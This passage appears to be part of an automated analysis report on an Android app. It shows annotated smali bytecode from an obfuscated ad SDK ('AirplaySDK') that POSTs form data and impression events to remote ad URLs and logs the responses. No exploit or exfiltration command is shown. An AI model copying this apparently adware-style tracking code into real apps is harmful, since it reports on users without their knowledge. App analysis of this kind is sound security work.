59invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Values:
60move-result-object v10
62iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List;
64invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
65move-result-object v10
67invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
68move-result-object v10
70invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
71new-instance v10, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
73iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List;
75invoke-direct {v10, v11}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;)V
77invoke-virtual {v4, v10}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
78new-instance v3, Lorg/apache/http/params/BasicHttpParams;
80invoke-direct {v3}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
81const/16 v8, 0x1b58
83invoke-static {v3, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 7000
84const/16 v9, 0x1b58
86invoke-static {v3, v9}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 7000
87new-instance v2, Lorg/apache/http/impl/client/DefaultHttpClient;
89invoke-direct {v2, v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/params/HttpParams;)V
90new-instance v10, Lcom/vxjxu/jkhfn1870/NetworkThread$1;
92invoke-direct {v10, p0}, Lcom/vxjxu/jkhfn1870/NetworkThread$1;-><init>(Lcom/vxjxu/jkhfn1870/NetworkThread;)V
94invoke-virtual {v2, v10}, Lorg/apache/http/impl/client/DefaultHttpClient;->addRequestInterceptor(Lorg/apache/http/HttpRequestInterceptor;)V
95new-instance v10, Lcom/vxjxu/jkhfn1870/NetworkThread$2;
97invoke-direct {v10, p0}, Lcom/vxjxu/jkhfn1870/NetworkThread$2;-><init>(Lcom/vxjxu/jkhfn1870/NetworkThread;)V
99invoke-virtual {v2, v10}, Lorg/apache/http/impl/client/DefaultHttpClient;->addResponseInterceptor(Lorg/apache/http/HttpResponseInterceptor;)V
101invoke-virtual {v2, v4}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
102move-result-object v5
103check-cast v5, Lorg/apache/http/message/BasicHttpResponse;
105invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
106move-result-object v10
108invoke-interface {v10}, Lorg/apache/http/StatusLine;->getStatusCode()I
109move-result v0
111const-string v10, "AirplaySDK"
112new-instance v11, Ljava/lang/StringBuilder;
114invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
116const-string v12, "Status Code: "
118invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status Code:
119move-result-object v11
121invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
122move-result-object v11
124invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
125move-result-object v11
127invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
128const/16 v10, 0xc8
129if-ne v0, v10, :cond_f2
131invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
132move-result-object v10
134invoke-static {v10}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
135move-result-object v7
136new-instance v10, Ljava/lang/StringBuilder;
138invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
140const-string v11, "Response String:"
142invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Response String:
143move-result-object v10
145invoke-virtual {v10, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
146move-result-object v10
148invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
149move-result-object v10
151invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
152if-eqz v7, :cond_112
154const-string v10, ""
156invoke-virtual {v7, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
157move-result v10
158if-nez v10, :cond_112
160iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
162invoke-interface {v10, v7}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->onTaskComplete(Ljava/lang/Object;)V
163try_end_e7: monitor-exit p0
164goto_e8: return-void
165catch_e9: move-exception v1
167invoke-virtual {v1}, Ljava/lang/InterruptedException;->printStackTrace()V
168goto/16 :goto_2c
169catchall_ef: move-exception v10
170monitor-exit p0
171try_end_f1: throw v10
172try_start_f2:
173const-string v10, "AirplaySDK"
174new-instance v11, Ljava/lang/StringBuilder;
176invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
178const-string v12, "HTTP response reason: "
180invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: HTTP response reason:
181move-result-object v11
183invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
184move-result-object v12
186invoke-interface {v12}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String;
187move-result-object v12
189invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
190move-result-object v11
192invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
193move-result-object v11
195invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
196try_start_112:
197iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
198const/4 v11, 0x0
200invoke-interface {v10, v11}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->onTaskComplete(Ljava/lang/Object;)V
201monitor-exit p0
202goto/16 :goto_e8
203catch_11a: move-exception v1
205const-string v10, "SocketTimeoutException Thrown"
207invoke-virtual {v1}, Ljava/net/SocketTimeoutException;->toString()Ljava/lang/String;
208move-result-object v11
210invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: SocketTimeoutException Thrown
211goto/16 :goto_112
212catch_125: move-exception v1
214const-string v10, "ClientProtocolException Thrown"
216invoke-virtual {v1}, Lorg/apache/http/client/ClientProtocolException;->toString()Ljava/lang/String;
217move-result-object v11
219invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ClientProtocolException Thrown
220goto/16 :goto_112
221catch_130: move-exception v1
223const-string v10, "MalformedURLException Thrown"
225invoke-virtual {v1}, Ljava/net/MalformedURLException;->toString()Ljava/lang/String;
226move-result-object v11
228invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: MalformedURLException Thrown
229goto/16 :goto_112
230catch_13b: move-exception v1
232const-string v10, "SSL Exception: "
234invoke-virtual {v1}, Ljavax/net/ssl/SSLPeerUnverifiedException;->getMessage()Ljava/lang/String;
235move-result-object v11
237invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: SSL Exception:
238goto/16 :goto_112
239catch_146: move-exception v1
241const-string v10, "IOException Thrown"
243invoke-virtual {v1}, Ljava/io/IOException;->toString()Ljava/lang/String;
244move-result-object v11
246invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: IOException Thrown
247goto/16 :goto_112
248catch_151: move-exception v6
250const-string v10, "Exception Thrown: "
251new-instance v11, Ljava/lang/StringBuilder;
253invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
255const-string v12, ""
257invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
258move-result-object v11
260invoke-virtual {v6}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
261move-result-object v12
263invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
264move-result-object v11
266invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
267move-result-object v11
269invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Exception Thrown:
270try_end_16e: goto/16 :goto_112
271catch_16f: move-exception v10
272goto/16 :goto_112
APIs
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.ImageBanner.access$000
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.ImageBanner.access$000
  • java.lang.String.contains
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.client.methods.HttpPost.<init>
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.client.methods.HttpPost.setParams
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.client.HttpClient.execute
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.util.EntityUtils.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.Exception.printStackTrace
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
Strings
  • AirplayMraid
  • Sending banner impression event:
  • 89
  • Error reporting is off.
  • %event%
  • URL:
  • Status code:
  • Banner Data:
  • Exception:
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v8, "AirplayMraid"
4const-string v9, "Sending banner impression event: "
6invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Sending banner impression event:
8iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
10invoke-static {v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
11move-result-object v8
13invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isErrorReport()Z
14move-result v8
15if-nez v8, :cond_23
17iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String;
19const-string v9, "89"
21invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 89
22move-result v8
23if-eqz v8, :cond_23
25const-string v8, "Error reporting is off."
27invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Error reporting is off.
28goto_22: return-void
29cond_23:
30iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
32invoke-static {v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
33move-result-object v8
35invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getApi_url()Ljava/lang/String;
36move-result-object v5
38const-string v8, "%event%"
40invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: %event%
41move-result v8
42if-eqz v8, :cond_3d
44const-string v8, "%event%"
46iget-object v9, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String;
48invoke-virtual {v5, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: %event%
49move-result-object v5
50cond_3d: new-instance v8, Ljava/lang/StringBuilder;
52invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
54const-string v9, "URL: "
56invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: URL:
57move-result-object v8
59invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v8
62invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
63move-result-object v8
65invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
66new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient;
68invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
69new-instance v4, Lorg/apache/http/client/methods/HttpPost;
71invoke-direct {v4, v5}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
72new-instance v0, Lorg/apache/http/params/BasicHttpParams;
74invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
76invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V
77const/16 v8, 0x3a98
79invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 15000
80const/16 v8, 0x2710
82invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 10000
84invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
85move-result-object v6
86if-nez v6, :cond_d6
87const/4 v1, 0x0
88goto_76:
89const-string v8, "AirplayMraid"
90new-instance v9, Ljava/lang/StringBuilder;
92invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
94const-string v10, "Status code: "
96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status code:
97move-result-object v9
99invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 0
100move-result-object v9
102invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
103move-result-object v9
105invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
106const/16 v8, 0xc8
107if-ne v1, v8, :cond_22
109invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
110move-result-object v8
112invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
113move-result-object v7
115const-string v8, "AirplayMraid"
116new-instance v9, Ljava/lang/StringBuilder;
118invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
120const-string v10, "Banner Data: "
122invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Banner Data:
123move-result-object v9
125invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
126move-result-object v9
128invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
129move-result-object v9
131invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
132try_end_b2: goto/16 :goto_22
133catch_b4: move-exception v2
135const-string v8, "AirplayMraid"
136new-instance v9, Ljava/lang/StringBuilder;
138invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
140const-string v10, "Exception: "
142invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Exception:
143move-result-object v9
145invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
146move-result-object v10
148invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
149move-result-object v9
151invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
152move-result-object v9
154invoke-static {v8, v9}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
156invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
157goto/16 :goto_22
158cond_d6:
159invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
160move-result-object v8
162invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I
163try_end_dd: move-result v1
164goto/16 :goto_76
APIs
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.MraidView.access$1200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.access$1200
  • java.lang.String.contains
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.client.methods.HttpPost.<init>
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.client.methods.HttpPost.setParams
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.client.HttpClient.execute
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.util.EntityUtils.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.Exception.printStackTrace
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
Strings
  • AirplayMraid
  • Sending event:
  • 89
  • Error reporting is off.
  • %event%
  • URL:
  • Status code:
  • MRAID Data:
  • Exception:
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v8, "AirplayMraid"
4const-string v9, "Sending event: "
6invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Sending event:
8iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
10invoke-static {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1200(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
11move-result-object v8
13invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isErrorReporting()Z
14move-result v8
15if-nez v8, :cond_23
17iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String;
19const-string v9, "89"
21invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 89
22move-result v8
23if-eqz v8, :cond_23
25const-string v8, "Error reporting is off."
27invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Error reporting is off.
28goto_22: return-void
29cond_23:
30iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
32invoke-static {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1200(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
33move-result-object v8
35invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getImpression_url()Ljava/lang/String;
36move-result-object v5
38const-string v8, "%event%"
40invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: %event%
41move-result v8
42if-eqz v8, :cond_3d
44const-string v8, "%event%"
46iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String;
48invoke-virtual {v5, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: %event%
49move-result-object v5
50cond_3d: new-instance v8, Ljava/lang/StringBuilder;
52invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
54const-string v9, "URL: "
56invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: URL:
57move-result-object v8
59invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v8
62invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
63move-result-object v8
65invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
66new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient;
68invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
69new-instance v4, Lorg/apache/http/client/methods/HttpPost;
71invoke-direct {v4, v5}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
72new-instance v0, Lorg/apache/http/params/BasicHttpParams;
74invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
76invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V
77const/16 v8, 0x3a98
79invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 15000
80const/16 v8, 0x2710
82invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 10000
84invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
85move-result-object v6
86if-nez v6, :cond_d6
87const/4 v1, 0x0
88goto_76:
89const-string v8, "AirplayMraid"
90new-instance v9, Ljava/lang/StringBuilder;
92invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
94const-string v10, "Status code: "
96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status code:
97move-result-object v9
99invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 0
100move-result-object v9
102invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
103move-result-object v9
105invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
106const/16 v8, 0xc8
107if-ne v1, v8, :cond_22
109invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
110move-result-object v8
112invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
113move-result-object v7
115const-string v8, "AirplayMraid"
116new-instance v9, Ljava/lang/StringBuilder;
118invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
120const-string v10, "MRAID Data: "
122invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: MRAID Data:
123move-result-object v9
125invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
126move-result-object v9
128invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
129move-result-object v9
131invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
132try_end_b2: goto/16 :goto_22
133catch_b4: move-exception v2
135const-string v8, "AirplayMraid"
136new-instance v9, Ljava/lang/StringBuilder;
138invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
140const-string v10, "Exception: "
142invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Exception:
143move-result-object v9
145invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
146move-result-object v10
148invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
149move-result-object v9
151invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
152move-result-object v9
154invoke-static {v8, v9}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
156invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
157goto/16 :goto_22
158cond_d6:
159invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
160move-result-object v8
162invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I
163try_end_dd: move-result v1
164goto/16 :goto_76
APIs
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.OverlayAd.access$600
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$700
  • java.lang.String.contains
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.client.methods.HttpPost.<init>
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.client.methods.HttpPost.setParams
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.client.HttpClient.execute
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.util.EntityUtils.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.util.Log.e
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
Strings
  • AirplaySDK
  • Sending overlay event:
  • 184
  • 183
  • Error reporting is off.
  • %event%
  • URL:
  • Status code:
  • Overlay Data:
  • Exception in overlay:
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v8, "AirplaySDK"
4const-string v9, "Sending overlay event: "
6invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Sending overlay event:
8invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$600()Z
9move-result v8
10if-nez v8, :cond_27
12iget-object v8, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String;
14const-string v9, "184"
16invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 184
17move-result v8
18if-nez v8, :cond_21
20iget-object v8, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String;
22const-string v9, "183"
24invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 183
25move-result v8
26if-eqz v8, :cond_27
27cond_21:
28const-string v8, "Error reporting is off."
